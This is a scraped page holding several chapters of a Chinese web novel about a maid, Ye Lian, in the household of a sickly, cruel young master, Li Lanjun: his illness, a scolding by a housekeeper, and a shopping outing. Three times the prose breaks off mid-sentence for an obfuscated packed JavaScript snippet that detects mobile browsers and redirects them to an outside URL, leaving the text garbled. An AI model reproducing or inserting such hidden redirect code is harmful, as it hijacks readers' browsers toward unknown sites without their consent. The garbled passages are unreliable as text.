夜里风大，疾风啸啸着拍开窗，“啪”地一声引得他们一同望过去。守夜丫鬟赶忙关上窗，寒气却早侵袭进来，打破一室暖风。 “少爷，”叶莲不因不由地开口，反应过来又觉得自己多事，但覆水难收，在李兰钧的注视中继续道，“盼着您活下去的人，也有很多很多呢！” 说罢她又难为情地抿抿嘴，埋头小小声说：“您有夫人照拂疼爱，又有老爷前后谋划，兄弟姐妹也牵挂着您。您、您这样说自己，他们听到会伤心的……” “哦……”李兰钧看着面前屏风，许久才淡淡应声。 见他反应平平，叶莲一张小脸腾地烧红起来，绯色迅速攀援而上到耳尖：自己肺腑之言，在对方眼中却是自作多情。 她对李兰钧这魔头好不容易起的一点怜悯，几乎又要被他的刻薄掐灭。 “你们这些奴婢……平日被我折磨得不成样，如今见我失魂落魄了，还是会前来宽慰几句吗？”李兰钧没有转头的意思，像是要把那木雕屏风看得生出花来。 叶莲被他辛辣的语言呛得说不出话，反复欲言然而未果。 “你这……”李兰钧徐徐将目光放到叶莲身上，屏风这才逃过一劫，“天地不容的蠢丫头。” 似乎有一点笑意浮过，还未等叶莲参透，他又警惕地收回平复。 “奴婢知错。”叶莲听他言语中并无愠色，便放下心来，起身颔首施礼。 “我看你惯会逢迎，错是一点儿不知的。”李兰钧褪下鞋袜，将绵衾拉开躺平，过后又翻身背过去，“滚吧。” 叶莲听他窸窸窣窣一阵，前半段话似要责罚，后半段却轻飘飘将她打发走了。 “是。”她没敢多语，躬身而去。 “叫她们将炭盆端进来。” 她方走到门边，又听床上吩咐道。 叶莲称是，遂打开门闩。 瑟瑟寒风随门开处涌入内室，叶莲心头正想着李兰钧的话，忽感脸庞湿润，回神后才惊觉冷风携碎琼而至。 浓墨般的冬夜，天上落下点点霜色，庭院里乱雪纷飞，守夜两个丫鬟见她早早出来，目光穿插打量了几道，相视一眼终是噤声不语。 “落雪了。”叶莲欣喜地出声道，屏风后传来衣料摩擦的声音。 两个丫鬟慌张地探头看内室，立即把门关严实，生怕她扰了李兰钧。 “少爷叫你们端炭盆进去。”叶莲不敢忘，对她们道。 托付好事务，叶莲凭着记忆往回走，单薄的衣衫经不起风雪，不一会儿便让她瑟缩起来，于是搓着肩膀提快了脚步。 一路手脚冻得发紫，才走到歇息的下人房。屋里黑黢黢的，姐妹们都睡下了，叶莲蹑手蹑脚脱下衣裙，换上新发的冬衣，摸索着找到冬被空处钻进去。 她正欲和衣睡下，一旁的红儿突然开口道：“莲儿，听她们说你去侍奉少爷了？” 她语气并未惺忪，显然是没睡。 “是……” 红儿呼吸一滞，没等她说完立即道：“那敢情好啊，日后你当主子，姐妹几个还要靠你照拂。” 叶莲讷讷地辩驳说：“不是，少爷让我回来了。” “那到底是侍奉了，还是没有？” 红儿语气有些急促。 “没有啊姐姐，少爷怎么会看上我这个小丫鬟，”叶莲听她的口气，作亲近状卖乖叫她，“当时他与夫人置气，我又恰巧在一旁，所以才说出那样的话。” “说完便后悔了，这才遣我回来。你看，我除了换了身行头，其余都没变呀！” 叶莲在黑夜里伸出手指指木桌上的襦裙，指完赶紧钻进被窝，往红儿身上靠了靠。 “少爷又与夫人争吵了？”红儿对她的亲昵很是受用，再开口已是平时的语态。 “嗯，少爷说了几句，夫人便气得要走。” 叶莲顺着她的话头回道。 倚靠着的身子往叶莲这边倾斜了许多，红儿头抵着她的，笑语嫣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186818|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然：“想必又是婚事，有一回我给少爷送膳，正碰见夫人和大小姐出来，两人脸色……噗呲，一个赛一个的绿！与菜园里的青虫不遑多让！” 叶莲听得似懂非懂，但见她高兴，也跟着笑起来。 “哦！说起菜园我才想起今夜下雪了，明日我们去摘菜来吃，经霜打过一定甜。” 叶莲其他兴致没有，说起菜地里的菜，话就多得像芝麻粒。 “等发了月钱，我托人买些冬笋来吃，姐姐你爱喝汤，厨房里还剩几两菌干，放一道煨汤……” “这样式的汤，我还没喝过。莲儿竟会烧菜吗？” “大约够得着灶台，就开始给家里烧菜了，来了南园还从未开过火……” “你从前一定过的很辛苦。” “是吗，我也不知道……” 叶莲捂在被子里，脸上有些发热，她撑开一个口，刚换了一道气，红儿便把她搂在怀里，让她像孩子一样枕在自己臂间。 窗外雪片簌簌落下，桃树枝干上堆了薄雪，两只山麻雀依偎在细枝杂草筑成的巢里取暖，屋里有二人并着脑袋入梦。 …… 初雪纷纷扬扬下了几日，凡空置的地儿都被盖上一层厚雪，厨房烟气重，屋顶和烧火的墙头从一片白里露出些黑灰，檐边滴滴答答落着雪水。 叶莲拿竹扫帚唰唰扫着地上的积雪，从雪地中抢出一条容二三人过的小道。 “少爷这病了好些天了，送过去的午膳一口没动，昨儿晚上还没让备膳，身子如何吃得消啊……”月洞门外踏进两个妇人，说话那个是北院掌事的周嬷嬷，年资深厚，在李兰钧面前也能说上几句话。 另一个则是沈嬷嬷，掌管厨房的事宜。 “郎中怎么说？”沈嬷嬷问。 周嬷嬷许是随了主子，舌尖口快，“还能说什么，就是那几句老话！” “厨房近日备的都是少爷喜爱的清淡菜式，如若还是吃不下，我再想想办法吧。”沈嬷嬷擦了擦鬓角的薄汗，无可奈何地说道。 二人走到屋檐下，叶莲忙退到水井边，心不在焉地扫着雪。 李兰钧怎么病了？别是跟她有关…… 她刚这么一想，周嬷嬷鬼使神差般道：“夫人来的那日还好好的，隔日就病倒了，也不知是不是气的……” 叶莲握紧竹帚，不自觉加快了手上的动作。 那夜在内室，李兰钧两次吹到风，一次是窗户没关牢，另一次……是她敞着门看雪，一时忘了规矩。 李兰钧金玉做的身子，一点风吹雨打都受不得，这次风寒恐怕是她害病的。 叶莲冷不防这么一想，手一哆嗦止住了动作。 “对了，你这厨房里是不是有个丫鬟，夜里去伺候过？” 好巧不巧，那周嬷嬷与她想到一块去了。只见她横眉一扫，用眼睛在一帮干活的侍女身上剜了个遍，势必要给李兰钧的病安个由头。 “伺候倒没有，少爷早早地给她打发回来了。”沈嬷嬷紧接着回道。 这事周嬷嬷不可能不知，但她此时这么问起来，想是着急找罪人。不然这罪名要扣在夫人头上，她是一万个不敢的。 “我听林檎说，是叫做莲儿，还是荷儿的？” 5. 喝药 “站出来吧，省得我一个个问了。” 她冷哼一声，手帕一甩作等待状。 叶莲只得自认倒霉，放了竹帚走到周嬷嬷跟前站直。 “一脸狐媚相！”周嬷嬷左右打量她，最后总结道。 甭管她长什么样子，就算是一张炊饼脸、绿豆眼，胆敢沾上李兰钧，统统打为狐媚子。 “定是你夜里伺候时叫少爷着了凉！说，是不是！” 周嬷嬷指着叶莲的鼻子，唾沫横飞。 “嬷嬷冤枉，我刚进去就被赶出来了，没同少爷如何……”叶莲一脸唾沫星子，低头耷脑地回道。 “就算没什么，也是你带着病气去过给少爷了！”周嬷嬷追言。 “周姐姐，你可莫要胡诌。我们平日里伺候少爷衣食，人来人往，从没见哪个过病气给少爷过。”沈嬷嬷听她一通胡搅蛮缠，清了清嗓子反驳，“况且南园里得病的下人都不许进北院伺候，这是规矩，你不会忘了吧？” 周嬷嬷被她拆穿，霎时没了气焰。 “莲儿你说，那夜少爷还做了什么？”沈嬷嬷制住了周嬷嬷，又回过来问叶莲。 “少爷叫我出去后，又让守夜的侍女端炭盆进屋。”叶莲紧张地答道。 沈嬷嬷听到最后，脸色舒缓下来。 她转脸看周嬷嬷，稍微放缓了语气：“炭在屋里烧，不可能不开窗，许是这时候染上的风寒。” “周姐姐你说是吧？” 周嬷嬷听罢，也觉得有几分道理，又能去李府交差，遂跟着眉开眼笑。 “是，是这么回事，”她得了台阶，面子上过去了就没什么追问的，“那郎中吩咐的四君子汤你们好生煎着吧！我便不多留了。” 沈嬷嬷送她出了月洞门，望着人走远才折返回来。 叶莲立在雪地里，只觉着横不是，竖不是，瓦片上落下雪水，她也不敢挪步。 厨房的姐妹们见周嬷嬷走远，凑到她身边安慰道：“没事了，没事了……” “还是莲儿运气好，没出什么事。” “……” 姑娘们七嘴八舌，压低了声音哄她。 叶莲无言，想自己如此背运，是不是要用蒲艾叶洒水去去晦气。 “好了，都干活去。”沈嬷嬷挥挥手，姑娘们便散作鸟雀，各自干自己的事去了。 叶莲东看西看，也预备着散开继续扫雪，沈嬷嬷却“哎”一声，将她叫住。 “莲儿，平日里便嘱咐你们少生是非，你倒好，这才进来多久，就惹这一箩筐事儿。” 她颇有些恨铁不成钢，但见叶莲蔫巴菜似的默然点头，耷拉着脸半句都不辩驳，又止住了要训人的念头，草草定罪道， “罢了，这个月月钱再扣一半——你将这包药拿去煎了，傍晚北院有人来取。” “谢嬷嬷……” 叶莲知沈嬷嬷方才维护之意，忙道谢。 “谢得倒快，做事全然不长记性！”沈嬷嬷拿手指点点她的脑袋，嗔道，“赶紧办事去。” 得亏在厨房做事，大家伙都待她如亲人一般，这也算是她倒霉这么些日子唯一的慰藉。 叶莲接过药包，提溜着去端小火炉和砂锅出来。 待架好了锅，又铲了燃得正旺的灰炭进炉，她将那包药倒进冷水锅中，盖紧锅盖才去搬个小板凳坐在一旁。 沈嬷嬷的话她在心里琢磨了几道，思来想去，总算觉得李兰钧的病不是她造成的，心里这块石头慢慢便放了下来，专心看火候去了。 这边李兰钧刚喝了小半口药汤，还没从焦苦的味儿里缓过来，忽然鼻尖一阵痒意，“阿嚏”一声悠悠荡开。 喷嚏不打声招呼就倾泻出来，直把他咽下去的汤药味反到了喉咙里，又尝了一回苦味儿。 一边伺候的贴身侍从冬青闻声而动，走上前递给他一张素色手巾：“少爷，一定是老爷和夫人在念你呢！” 冬青生的细眼宽鼻，身瘦面窄，一副温和老实的模样。 “还嫌我不够烦么？”李兰钧睨他一眼，慢吞吞地擦着脸。 “是奴婢多嘴了……”冬青被他一噎，讪讪地回道。 李少爷连眼神都懒得给他，只是细致地擦手，擦完又擦起袖口来，好像要用这张手巾把自己擦个遍。 案上放的药汤才动了一口不到，仍是完璧模样端端正正摆在面前，李兰钧却当看不见。 “少爷，这药……” 冬青硬着头皮开口。 李兰钧捉着衣服上的细线，一根一根扯开抽丝，沉默半会儿的功夫，一朵青莲已经少了两瓣花瓣，残缺成半朵。 “少爷……？” “我是病了不是聋了，听得见。” 李兰钧手上不停，幽幽地说，“拿去倒了，这东西我见着恶心。” 话刚出口，就给冬青急坏了，他手忙脚乱地比划着道：“这……这不能倒啊，郎中说了，要喝干净才成！您倒了……叫夫人知道了，我、不，奴婢该怎么回话啊！” 屋外雪绒未有停势，门边侍女正轻摇蒲扇，缓慢扇着炭火，屋内人皆作哑巴状，唯有冬青手脚并用地舞动，似是在跳什么西域奇舞。 李兰钧没眼看他滑稽的样子，摆手叫停：“好了，像什么样子？” 冬青依言停下动作。 “张口闭口夫人夫人的，你们既都听母亲的话，那干脆将你们统统送回去算了，也省得她内外兼顾不暇。” 话还没说完，屋里屋外便跪成一片，纷纷道：“少爷息怒，少爷饶命。” 李兰钧冷冷扫过众人，端起碗一口闷下，那股恶苦劲儿直冲天灵盖，他忙拣起几个蜜饯梅子，一股脑塞进嘴里压苦。 他自小与汤药打交道，却常常难以忍受药里的苦涩，尚在孩童时，父母变着法子改良各式药方，好让汤药喝起来尤有回甘。 而如今开府出来，他的骄傲自矜不许自己孩子似的贪甜，也就只得忍着苦服药了。 “晚膳撤了，没胃口。” 他恹恹说道，不耐地皱起眉尖。 冬青犹豫着开口，被他恶狠狠地瞪了回去：“胆敢说半句我不爱听的，就去外头跪着。” 说罢甩甩衣袖，兀自起身向门外去。 漫天大雪，大氅被他遗落在黄梅架上，冬青一把抓起大氅夹在手臂间，疾步跟上。 北院廊道里，李兰钧一人在前面走，一群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186819|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仆人紧跟在后，冬青几次要给他披衣服都被他的脚步打断，直到李兰钧走得有些气促，步伐慢了一些，那件鼠灰色狐毛领大氅才披到身上。 “少爷，您……要去哪儿？” 冬青喘着粗气问。 李兰钧也累坏了，顶着冻得通红的脸，发乌的嘴唇张合间呼出白气：“书房……” 众人忙连搀带扶地架着他往书房赶。 到了书房，早早有人备好了热茶，书案前临时摆了张方桌，上面果子粥点一应俱全。 想是冬青擅作主张布置下去的，李兰钧没心思斥责他，略过那桌走到书案边坐下。 桌上除去带有浓重他的风格的摆件装饰外，正中有未临完的字帖，字帖旁是一本《文章精义》。 他熟稔地拿起书，翻开取出夹着的条状扁玉书签，旁若无人地看了起来。 直到日薄西山，李兰钧也没有尽兴之意，反而愈加深入，用笔在宣纸上一道看一道写。 门边，叶莲端着一方食案，案上两只白瓷碗里盛着深浅不等两份汤水。 “来做什么的？”守门侍女压低声音问。 “厨房来送药的。”叶莲颔首回，见侍女无动于衷，又补充道，“一直未见来拿药的人，我们不敢耽搁时辰，便送来了。” 说罢叶莲心头一阵痛楚：她煎好药汤左等右等，姐妹们都出门送晚膳了也没人来取，沈嬷嬷金口玉言让她送来，她不得不从，便端着食案一路走走问问，最后出现在书房外头。 横竖是安排给她的差事，躲得了和尚躲不了庙。 叶莲撞上李兰钧，比志怪话本里书生遇艳鬼的机遇还多……想到这儿，她忿恨不已，直嘬得牙花子疼。 “哦，拿进去吧。” 叶莲得了放行令，恭恭谨谨地踏入室内。 一入室便见红儿她们立在方桌两侧，桌上餐品纹丝未动。侍女们低眉垂目，让叶莲很难从她们的神色举动里猜测她到来之前的境况。 这也是她不喜欢来北院的缘由之一，最大的缘由名叫“李兰钧”。 她放轻脚步走到书案边上，弯下膝盖慎重地行了礼，才说明来意：“少爷，郎中吩咐的四君子汤已经煎好了。” 言毕等待李兰钧的指示。 李兰钧正凝神书写，听完只是顿了一下笔，没作任何回应。 叶莲将那碗药汤放在桌角不易洒落处，另一碗雪梨煎水也一道放在案边。 放完她垂首退到一旁空处，正好与厨房的姐妹站在一块儿。 李兰钧一纸策论恰恰结束，落笔添上句读，墨水洇开小片纹路。 他从文章里抽出神，后知后觉地发现这具羸弱躯体已经力竭，手腕上泛起酸胀，五脏六腑都叫嚣着不适。 “咳咳咳……” 他刚支起身子，咳嗽就从齿缝中溢出，随后无止无休的咳起来，如何都咽不下去。 冬青欲上前照看，被他抬手拒绝。 那种身不由己的无力感又像藤蔓一样缠上心头，从小到大，无处不在。 李兰钧不胜其怒，捂着嘴勉强压下声量，但顾此失彼，腿脚脱力而立即摇摇欲坠，不过多时，他轰地一下跌坐回椅上。 6. 密语 屋里守着的奴婢听到响声俱是一惊，可惊讶之余却无任何动作，皆屏息作哑然状。 仿佛见微知著一般，李兰钧果然一把掀开了案上的纸砚，砚台落在地上发出沉闷的声响，泼墨而出溅染一地乌黑。 叶莲心里犹豫着要不要上前时，被他忽然来的脾气嚇得一抖，端着食案的手险些松开，差点又酿成一桩大祸。 今日与往次不同，李兰钧是真真动了怒，她若是在此刻犯错，一定会被打死丢去喂狗。 叶莲惜命地缩缩脖子，跟旁人一样站成个木桩。 雪白的宣纸在天上飘了一圈，有几张落到墨滩中，慢慢浸透成黑色。 一通发泄后，李兰钧靠在椅背上喘着气，脸色仍旧不见好转。 外人眼里只是他喜怒无常，无端端地发怒，搅乱了一时宁静。 这院里有几个人觉得他是疯子，又有几个恶他如烂泥……到底和外面是一样的。 镇纸下那张用心写下的策论，工整严谨写了满满一纸，他从来都是自己写，自己评，不知高低对错，也无人对照。 往往最后都被他撕成碎末。 李兰钧拿来放在案边的雪梨水，那碗水颤颤巍巍地立在边缘，此时凑近他唇边，免了洒掉的命运。 见李兰钧动了自己煮的雪梨煎水，叶莲忍不住翘首而望过去。 原本她负责膳食是不合规矩的，但以往她打下手麻利，切菜功夫也学得又快又好，有时一些简单不用火候的菜品就由她帮衬着做。 这雪梨煎水不需要太多手艺，李伯见她巴望着掌勺，便让她先煮煮汤水，以解苦等之焦躁。 端过来时，叶莲本不抱李兰钧会喝的想法，只是祈祷不要被泼出去泄愤就好，这会儿李兰钧端起来，她倒有些紧张了。 自己这不入门的手艺，会被李少爷嫌弃吗？ 只是一道平常不过的甜水，味道并不会有多少差异，她却有了被衙门老爷问罪的感觉。 李兰钧似乎因方才大动干戈而有些口渴，一碗雪梨水被他喝得见了底，他放下碗，眼睛看向另一碗汤。 侍奉的丫鬟终于不再目盲，一点就通地递上那碗四君子汤。 李兰钧休整过后又缓缓站起来，盯着案上的策论，上面还有他自己批注的字迹。 “哗——” 这碗四君子汤没那么走运，被他当作毁文的称手工具，毫不怜惜地抬手倾注而下。 “狗屁不通。”李兰钧看那宣纸被他糟蹋得面目全非，心里并无快意。 口中尚有雪梨的甜意，这碗雪梨煎水似乎比以往甜润许多，心头那点无处宣泄的苦涩被化开，渐渐回甘。 他将倒尽的碗随意扔在桌上，磕碰声叮当作响，案上一片狼藉，纸间笔墨模糊，全无方才诗情画意。 “我累了，回寝居。” 罪魁祸首拂袖头也不回地离开。 待他走远，丫鬟们才开始忙活起来。 叶莲跟着姐妹们退出书房，亦步亦趋地走在末尾。 “莲儿，你怎么来了？” 一白面圆眼的丫鬟凑近她低声问，这姑娘叫做云儿，是南园里少有的健谈之人。 “沈嬷嬷让来的，不然没人送汤药。” 叶莲回。 “哦！定是少爷搅得她们忘了。” 云儿替她解释道。 “你方才一进屋，我的心就揪了起来，生怕少爷又整出什么来。” 她接着说道，此时已经离北院有一段脚程。 叶莲轻轻叹了口气：“我也怕呢！” “幸亏没事——诶，过几日发月钱，你同我一起出去采买吗？”云儿想一出是一出，又扯开了话头。 她们并肩走在道上，附近只有几个洒扫的侍女，且相距不近。 叶莲勉强放下心，同她说道：“采买？我们还能出府么？” “自是能的，除外院会购置食材外，每月末尾我们也可出去采买，多是买些佐料、用具，剩余时间还可游玩一会儿呢！” 云儿绘声绘色跟她说了一堆新鲜玩意，最后捅捅她的胳膊，“去不去？” 叶莲听她说得昏了头，紧接着道：“去，我想去！” 南园外是什么景色，除去在人牙子车上那会儿，她还从未细看过。 说书的嘴里的高门大户她已经有了见识，那些奇珍异巧、只需在摊铺就能买到的物品，还有成衣坊、食肆、客栈……这些她都想见识一下。 “可我这月的月钱都被扣得差不多了，不知到手会有多少……” “我借你呗，你下月再还我就是。”云儿豪爽地说道，脚下不忘跨过一道坎。 一行人已走到厨房的外门口，她们咬着耳朵说悄悄话，叶莲听得连连点头，抿着嘴也藏不住喜上眉梢。 恰好李兰钧不用晚膳，叶莲又听云儿描述了好一会儿，手上的活差点没干完。 她的魂儿飘到了街上，眼下的事都做得恍惚，做梦一样回到床榻上躺下，云儿又凑过来喋喋不休。 直到发月钱这日，接到红儿放在手心沉甸甸的铜钱，叶莲眨眨眼突然回了魂。 “这些……有多少？” 她双手捧着这堆铜钱，从圆身方孔里看进去，黑洞洞的看不见底。 红儿正忙着发钱，随口问道：“一百二十文，数不对吗？” “没，我就是问问。” 叶莲埋头若有所思。 “若没被克扣，可得五百文左右呢。” 有人笑着告诉她。 随后又是一阵叽叽喳喳的声音，她们开始比月钱多少。 叶莲她娘卖她的价钱她清楚记得，是两贯三百文。卖她得来的钱，够她家捱过这个寒冬，他们辛苦劳作一年，不计疾病死丧只能余下几百文，叶莲一月的月钱便有约莫五百文。 她如今的一百余文，大约可以买叶三娘的一只手指头，日后的月钱，不出几月可以买下一整个人。 如若她有钱将自己买下，不必一生都为奴为婢，即使过着辛苦的日子，那想必也是很好的。 她往日想要钱，有了钱爹娘就不会抛下她，却是痴心妄想；而当她有了钱，想赎回自己的身契，不为奴婢，更是绝无可能。 大抵人的一生总是如此，可望而不可即。 叶莲收起月钱，用一块四方旧布包成一团，暂且作钱袋用。 “红儿，午后出门采买，我带上莲儿一起去。”云儿同姐妹们闲话完，终于想起了正事。 “成啊，让她熟悉熟悉这趟事务，日后也要轮到她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186820|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去的。”红儿没多拉扯，马上答应道。 叶莲听说日后还有机会，窜到她跟前问：“日后也能出门？” 红儿看她眼睛发亮，两只梨涡笑得可爱极了，遂也不自觉展开笑颜：“然是可以的，每月轮着去，本月你去了，再过几月又能轮到。” “你啊，这心里头就想着玩乐了。” 她佯作嗔怒地捏捏叶莲的两颊，在脸上留下两个微红的手印。 叶莲眯起眼睛卖乖，笑得像只翻肚皮呼噜的狸奴。 “莲儿，你家住哪儿，这次月钱往家里寄去么？”有人闲话之余，忽然提到家中，便多嘴问她一句。 “石溪村……我是卖了身契的，跟家里没干系了。”叶莲乖巧地回道，收敛了些许笑容。 云儿靠过来揽住她的胳膊，乐得没心没肺：“那多好啊，自己挣自己花。我家里头五口人都指着我过日子，这些年也攒不下几个钱。” 众人纷纷应和，开始讲述往后的打算。 “我从牙缝里省出些钱，待工期满了就回镇上开家豆腐店。” “有个糊口的手艺真好……我自己攒下了嫁妆钱，出去后就指着嫁个好郎君，有个依靠心头安心。” “那你可得擦亮眼睛找，这世道上坏心肠的男人多如牛毛。” 红儿打趣道：“若找不到，难不成要去做姑子！” “做姑子也比蹉跎一辈子好。我看门房的陈大哥待你挺好的，你可有意？”云儿倚在叶莲身上，朝红儿挤眉弄眼。 “你再胡言乱语，我拧歪你的嘴！”红儿面上一臊，作势去拧她的脸皮。 “姐姐莫恼，姐姐莫恼……”云儿连忙认错，围着叶莲躲闪。 以后的打算……叶莲左想右想，依着她们的说法，虽然只能拘在南园里，她也想找个对她温柔的男人，然后生下一儿半女，安稳度日。 若是凑够了赎身的银子，碰上主人开恩，能除了她的奴籍让她去到外面，又是另一种活法了。 比起在南园了却余生，叶莲更想出去。 但一想到李兰钧，她仿佛早已看到了结果，只得把这想法放进肚里，当作闲暇时的臆想。 “在南园讨生活可比外头难多了，前些日子北院才赶出去一批丫鬟，正缺人手补空呢！”有人慨叹道，捂着胸口心有余悸，“只愿万不要调我过去……” 叶莲听了也有些紧张，长吁短叹道：“少爷的风寒久久不好，北院现下真成了阎王殿了，平白就要挨罚。” “可不是嘛，板子都打不及了！” “你们说……”云儿忽然压低了声音，拉她们聚在一起悄声说，“少爷是不是快死了呀？” 众人听她说完，吓得直捂她的嘴，大伙一惊一乍地连连顾盼，半晌才缓过气来。 “说这个干甚？骇得我夜里要睡不着觉了！”红儿往她肩上结实拍了一巴掌。 “我看这兆头，心里不踏实才说的……” 云儿揉揉被她打疼的肩膀，委屈地说。 叶莲想到了什么，也紧张兮兮地挨近她们，用几不可闻的声量道：“我听人说少爷活不过二十，是真的吗？” “我正想说这个呢！你们说，莫不是要应验了——”云儿瞪大了眼睛，最后几个字拖得又长又重。 7. 出门 雪霁初晴，枝头一片白茫茫化作点滴细雨，滴答着落在地上。 冬至休假三日，一些未入奴籍的雇工早早收拾回家探亲，天蒙蒙亮时外边就传来隔三差五的脚步，虽并不嘈杂，但叶莲却再难閤眼。 “云儿，你醒了么？” 床铺上空落落的，干活的、回家的都已起床，偌大个通铺只剩她二人。 “云儿，云儿……”叶莲见她不答，继续唤道。 隔着几铺棉被的云儿动了动，嘴里哼哼唧唧一会儿才应道：“嗯……” “今日可回家探亲，你真不回去了？” 叶莲望向窗外，此时的脚步声更密集一些。 云儿挣扎两下，才腾地坐起来。 她瞥了一眼窗边，很快收回目光，然后用手揉揉眼睛：“不回去，没什么好回的。” “那我们何时出门？” 叶莲兴致冲冲地问，一边说一边穿衣穿鞋袜。 “嗯……你记下昨儿她们念的缺物了？” 昨夜合计完的采买物品又多又杂，虽不是十分大而笨重的物件，但要记下来不出错地买入也是件难活。 叶莲有心去记，也只记得半数左右。 “没，那咱们待会儿去问问？” 她低头在脑袋过了一遍，最终还是没记住，遂抬头看向云儿道。 云儿醒了神，笑道：“嘿嘿，我记住了，咱直接走就是。” “那么多……你全记住了？” 叶莲惊讶地问。 云儿满不在乎地打了个哈欠，似乎很满意她的神情：“这个呀，等你在这待久了就记得住了。每月买的东西都差不多，很容易记的。” “喏，记不住可以去看红儿写的纸条。” 云儿指指不远处的木桌，叶莲顺着她的手看过去，那里果然躺着一张写满了字的纸条。 她羞赧地挠挠头，将视线放回云儿身上：“呃，我不识字……” 云儿一副了然的模样，系完衣带后才说道：“我就晓得。整个厨房就红儿认字，明明没人看得懂，她还是坚持写这东西给我们。” “啊，红儿姐姐这么厉害！” 叶莲通篇只听得见“认字”二字，一脸崇敬地感慨道。 云儿收拾好了自身，顺手帮叶莲绾发。 叶莲乖巧地坐在床沿，任由她摆弄。 她将一绺绺发丝缠成一条小辫，把它们盘在一起贴在耳后，用须巾绕住再插上铜钗。 “红儿跟我们不同，她家从前是做官的，后来犯了事抄了家，就被卖为奴婢了。” 云儿用篦梳慢慢梳理她另一边的乌发，同她解释说。 “你尚且有脱离奴籍的可能，而她……要因长辈的过错，永世为奴。” 叶莲侧耳听着，顿感心口一阵发闷。 “所以啊，你可得好好对她，她待你比旁的人要不同，真当你是妹妹呢！”云儿把另一侧也照着梳绾一通，扮过叶莲的身子仔细瞧看，“似乎她从前也有个妹妹来着……我记不大清了。” 叶莲巴掌大的脸上一双杏眼灵动可爱，鼻子短翘，嘴唇饱满而粉嫩，粗略看下来，是个干净讨喜的面相。 云儿满意地拍拍她的脸蛋：“看着确实讨人欢喜，早说我先她一步认你为干妹妹了！” 叶莲摸摸头上精巧的发髻，道：“你们都是我的好姐姐～” “瞧你这嘴……”云儿高兴地说，说完又回归正题，“走，出去采买去。” 叶莲点点头，跟上云儿的步伐，二人各挎着一竹编篮子相携离开卧房。 休假期间，南园没了以往沉默严肃的气氛，路上侍从多是面带笑意，三两结伴出门。 她们绕过几道墙，从黑瓦白墙中立起的一道偏门走出。 门房替二人打开木门，推开门即是一条窄长的胡同，除了门边堆着刚运来的一车新炭，整条道干净得只剩积雪。 叶莲忍不住伸着脖子往胡同外望去，石板路的尽头熙熙攘攘，货郎扯着嗓子叫卖，摊贩与客人拉扯交谈…… 她听着声音，恨不能赶紧走出这条长胡同。 “诶，当心脚下呀！” 叶莲一脚踩上被压得透明的雪皮，差点摔个脸朝地。幸而云儿眼疾手快拉住她，才免了她将牙磕碎。 “这么着急做甚，集市能跑了不成，你看，才浆洗好的衣裳……” 云儿絮絮叨叨地拍打她的裙边，把沾上的雪沫掸走。 说话间已走出胡同，视野豁然开朗起来。 叶莲忽地抓紧云儿，紧张的左右张望着：“姐姐，你带我好好逛逛吧，我绝不乱走。” “怂样！方才走这么急，现在又不敢走了？”云儿笑斥道，依言领着她往集市深处走。 “这都是冷清的了——少爷刚搬来那会儿嫌外边太吵，赶了好几道人，还告去官府让他们整治，现下清冷不少呢。等去了集云大街那边，叫你看看真正的热闹！” 叶莲心道：这少爷也忒讨嫌了。 面上却答应着：“少爷素来喜静，难怪了。” “我以为这里够热闹了，没想到还有更热闹的地儿，姐姐好歹得领我逛逛！” 人多嘈杂，她敞开了声量说道。 云儿连连摆手，也提了声量回她：“逛不完逛不完，只能逛个角，要全走一道得三五天！” 这得多大的地界，多繁杂的商铺…… 叶莲咽咽唾沫，想象不出那里的繁华景象。 有小贩扛着一垛长圆稻草捆，上面扎着木棍串起来的果子，他高声吆喝道：“糖葫芦，糖葫芦——” “这是什么？”叶莲盯着那东西发愣。 那小贩抢在云儿之前介绍：“用糖浆裹的鲜果，又酸又甜，姑娘要不要来一串？” “要！” 糖葫芦边上飞舞不少蜜蜂，甜味浓郁，叶莲闻着香甜，稀罕地点点头。 “要山里红，还是海棠果、麻山药？” 叶莲见一堆果子里有几串乌紫小密的野果，十几颗串在一块，看着经吃。 “这个，这个黑的。” 她手指停在那串糖葫芦跟前。 “好嘞，蒲桃的，五文钱。” 叶莲转头问云儿：“云儿，你要什么的？” 云儿摇摇头：“我不爱吃甜食，你自己买吧。” 叶莲从袖中掏出五文递给小贩，他笑着谢过，扛着糖葫芦走远又开始吆喝。 二人再走了一段路程，叶莲看什么都喜欢，一路上净数掏钱，篮里堆了不少她买的小玩意，两只手也全是街头小食。 她吃得狼吞虎咽也赶不上买的手快，几次噎得直拍胸口，手上递钱却不停。 “这还没到地方，你就吃这些市食杂嚼撑了肚皮，届时去食肆吃午膳还吃得下么？”云儿帮着给她顺气，皱起眉头担心问道。 “我边走边消食，很快又饿了，”叶莲回她，见她嗔 